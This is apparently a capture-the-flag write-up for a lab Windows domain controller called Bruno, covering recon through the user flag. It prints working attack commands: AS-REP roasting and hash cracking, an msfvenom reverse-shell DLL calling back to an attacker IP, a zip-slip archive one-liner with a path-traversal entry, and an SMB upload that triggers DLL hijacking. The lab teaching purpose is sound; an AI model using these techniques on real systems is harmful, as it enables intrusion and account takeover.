Bruno
Bruno is a medium Windows domain controller. Anonymous FTP exposes a custom .NET scanning service and the name of a service account, svc_scan, whose Kerberos pre-authentication is disabled — its AS-REP hash cracks to a weak password. That account can write to a share the scanner watches, so a zip-slip archive plants a malicious DLL into the app directory and a DLL search-order hijack runs code as svc_scan, landing the user flag. This post covers recon through user.txt.
Overview
Bruno is a Medium-difficulty Windows box that is a domain controller for bruno.vl. The path to user.txt starts at anonymous FTP, which leaks a custom .NET application and the name of an automation account. That account turns out to be AS-REP roastable, its hash cracks to a weak password, and the account can write to a share the application scans. A zip-slip archive combined with a DLL search-order hijack then executes code as the service account. This post stops at the user flag.
Recon
| Port | Service |
|---|---|
| 21 | FTP (anonymous allowed) |
| 53 | DNS |
| 80/443 | IIS 10.0 |
| 88 | Kerberos |
| 135/139/445 | MSRPC / NetBIOS / SMB |
| 389/636/3268/3269 | LDAP / LDAPS / Global Catalog |
| 464 | kpasswd |
| 593 | RPC over HTTP |
| 3389 | RDP |
| 5985 | WinRM |
| 9389 | AD Web Services |
1
2
nmap -p- --min-rate=1000 -T4 10.129.8.58
nmap -p21,53,80,88,135,139,389,445,464,593,636,3268,3389,5985,9389 -sC -sV 10.129.8.58
The host is a domain controller: domain bruno.vl, machine name BRUNODC. The standout is anonymous FTP on port 21 sitting next to a full AD stack.
Enumeration
FTP (21) — anonymous
Anonymous login is allowed. The share holds an app directory with a custom .NET program, SampleScanner, plus queue, benign, and malicious folders.
1
2
ftp [email protected]
# get the SampleScanner binaries + changelog from /app
Two things matter:
- The changelog mentions “automation using
svc_scan” — a service account name. - Decompiling
SampleScanner.dllshows it watchesC:\samples\queue, and for every.zipit finds it extracts the archive and then loads helper DLLs by name from its own application directory. Both the unsafe extraction and the bare-name DLL load are exploitable.
Kerberos (88) — AS-REP roasting svc_scan
svc_scan has Kerberos pre-authentication disabled, so an AS-REP can be requested with no password and cracked offline.
1
2
impacket-GetNPUsers bruno.vl/ -usersfile users.txt -no-pass -dc-ip 10.129.8.58 -format hashcat
hashcat -m 18200 svc_scan.asrep /usr/share/wordlists/rockyou.txt
The hash cracks to a weak password. The credentials are valid over SMB, and crucially the queue share is writable:
1
2
netexec smb 10.129.8.58 -u svc_scan -p '<redacted>' --shares
# queue READ,WRITE
Foothold
The plan: drop a malicious DLL into the scanner’s application directory via the writable queue share, then let the scanner load it (DLL search-order hijack).
Build a reverse-shell DLL named after a DLL the app loads by bare name (hostfxr.dll):
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.13 LPORT=4444 -f dll -o hostfxr.dll
Wrap it in a zip whose entry name is a relative path traversal — this escapes the extraction directory and lands the DLL in the app folder (a rooted C:\... entry name does not work against this binary):
1
python3 -c "import zipfile;d=open('hostfxr.dll','rb').read();z=zipfile.ZipFile('slip.zip','w',zipfile.ZIP_DEFLATED);z.writestr('../app/hostfxr.dll',d);z.close()"
Start a listener and upload the archive to the watched share:
1
2
nc -lvnp 4444
smbclient //10.129.8.58/queue -U 'bruno.vl/svc_scan%<redacted>' -c 'put slip.zip'
The scanner runs on roughly a 60-second cycle. On its next run it extracts the archive (placing the DLL in the app directory) and then loads it, executing the payload as the service account:
1
2
3
connect to [10.10.16.13] from (UNKNOWN) [10.129.8.58]
C:\Windows\system32> whoami
bruno\svc_scan
User flag
1
type C:\Users\svc_scan\Desktop\user.txt # HTB{...}
Access as bruno\svc_scan achieved.
Foothold complete. Privilege escalation is left as an exercise — this post stops at user.